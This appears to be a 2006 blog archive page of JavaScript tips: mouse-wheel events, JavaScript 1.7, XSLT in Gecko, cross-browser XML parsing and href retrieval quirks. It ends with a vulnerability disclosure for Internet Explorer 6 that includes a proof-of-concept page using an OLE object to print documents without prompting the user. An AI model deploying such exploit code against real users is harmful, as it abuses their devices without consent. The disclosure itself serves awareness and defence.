Mouse wheel programming in JavaScript. It really works!
Tested in: Internet Explorer 6, Firefox 0.8-1.5, Netscape 7.1 and Opera 9.
http://www.duggmirror.com/programming/Mouse_wheel_programming_in_JavaScript/
Август 29th, 2006








Tested in: Internet Explorer 6, Firefox 0.8-1.5, Netscape 7.1 and Opera 9.
http://www.duggmirror.com/programming/Mouse_wheel_programming_in_JavaScript/
Август 29th, 2006
JavaScript 1.7 is a language update introducing several new features, in particular generators, iterators, array comprehensions, let expressions, and destructuring assignment. It also includes all the features of JavaScript 1.6.
more…
Июль 24th, 2006
With modern browsers supporting XSLT, developers can now use JavaScript to access the power that XSLT provides. JavaScript can enable a web application to load XML data, process it via XSLT into a presentable form and then add it into an existing document. Since the XML data loaded only contains the raw information without any presentation data, it can load quickly even on dialup.
XSLT allows the author to directly manipulate the structure of a document. For example, it permits the rearranging and sorting of elements; it also provides more fine-grained control of the resulting document’s structure.
As of Mozilla 1.2, Gecko enables JavaScript to create XSLT processors. This article covers XSLT/JavaScript bindings in Gecko. They are not available in Netscape 7.0x.
Июль 3rd, 2006
Internet Explorer has a nonstandard feature called XML data islands, which allow you to embed XML inside an HTML document using the nonstandard HTML tag <xml>. Mozilla does not support XML data islands and handles them as unknown HTML tags. You can achieve the same functionality using XHTML; however, because Internet Explorer’s support for XHTML is weak, this is usually not an option.
One cross-browser solution is to use DOM parsers, which parse a string that contains a serialized XML document and generates the document for the parsed XML. Mozilla uses the DOMParser class, which takes the serialized string and creates an XML document out of it. In Internet Explorer, you can achieve the same functionality using ActiveX. A new Microsoft.XMLDOM generates and has a loadXML method that can take in a string and generate a document from it. The following code shows you how:
<xml id=\"xmldataisland\">
<foo>bar</foo>
</xml>
Cross-browser solution:
var xmlString = '<xml id=\"xmldataisland\"><foo>bar</foo></xml>';
var myDocument;
if (document.implementation.createDocument){
// Mozilla, create a new DOMParser
var parser = new DOMParser();
myDocument = parser.parseFromString(xmlString, 'text/xml');
} else if (window.ActiveXObject){
// Internet Explorer, create a new XML document using ActiveX
// and use loadXML as a DOM parser.
myDocument = new ActiveXObject('Microsoft.XMLDOM')
myDocument.async='false';
myDocument.loadXML(xmlString);
}
Июль 2nd, 2006
Whilst working on the Ajax Link Tracker and MapSurface I have come across an inconsistency in how the href attribute is retrieved using DOM Scripting.
The href attribute is different to other element attributes in that the value set can be relative to the context of the page URL. If you set a link with a relative href attribute
<a href=”../development/test1.html”>test page</a>
The browser will look at the pages current URL and derive an absolute URL for the link.
http://www.glenn.jones.net/development/test1.html
This is the root of the problem, some browsers return the text of the attribute and others return the derived absolute URL. The results also differ by the method you use to retrieve the href attribute. There are three common ways to access an attribute:
linkobj.href;
linkobj[‘href’];
linkobj.getAttribute(‘href’);
The linkobj.href and linkobj[‘href’]; methods of accessing the attribute consistently return the derived absolute URL.
Microsoft has tried to address this by problem adding a second parameter to the getAttribute method. The second parameter can be set to 0,1 or 2. If the parameter is set to 2 the method returns the attribute text. Any other setting will return the derived absolute URL.
linkobj.getAttribute(‘href’);
linkobj.getAttribute(‘href’,2);
Get attribute test page Test on IE6, Firefox 1.5 and Opera 8.51.
Июнь 16th, 2006
Vulnerable Systems:
* Internet Explorer version 6
Using an OLE object, JavaScript, and HTML, IE 6 will allow a malicious document to send pages to the printer without prompting the user. An example page that exploits the vulnerability is given below. The offending line must be commented out in order for the page to work, so are any linebreaks that break the JavaScript code.
<html>
<head>
<script language="JavaScript">
function ieExecWB( intOLEcmd, intOLEparam )
{
// Create OLE Object
var WebBrowser = '<object ID="WebBrowser1" WIDTH=0 HEIGHT=0
CLASSID="CLSID:8856F961-340A-11D0-A96B-00C04FD705A2"></object>';
// Place Object on page
document.body.insertAdjacentHTML('beforeEnd', WebBrowser);
// if intOLEparam is not defined, set it
if ( ( ! intOLEparam ) || ( intOLEparam < -1 ) || ( intOLEparam > 1) )
intOLEparam = 1;
// Execute Object
WebBrowser1.ExecWB( intOLEcmd, intOLEparam );
// Destroy Object
WebBrowser1.outerHTML = "";
}
function printAll()
{
// Uncomment this to enable the exploit!
//ieExecWB(6,-1);
}
</script>
</head>
<body onload="printAll()">
<h4>I like your PRINTER</h3>
</body>
</html>
Add comment Июнь 13th, 2006
| Пн | Вт | Ср | Чт | Пт | Сб | Вс |
|---|---|---|---|---|---|---|
| « Июл | ||||||
| 1 | 2 | 3 | 4 | 5 | ||
| 6 | 7 | 8 | 9 | 10 | 11 | 12 |
| 13 | 14 | 15 | 16 | 17 | 18 | 19 |
| 20 | 21 | 22 | 23 | 24 | 25 | 26 |
| 27 | 28 | 29 | 30 | |||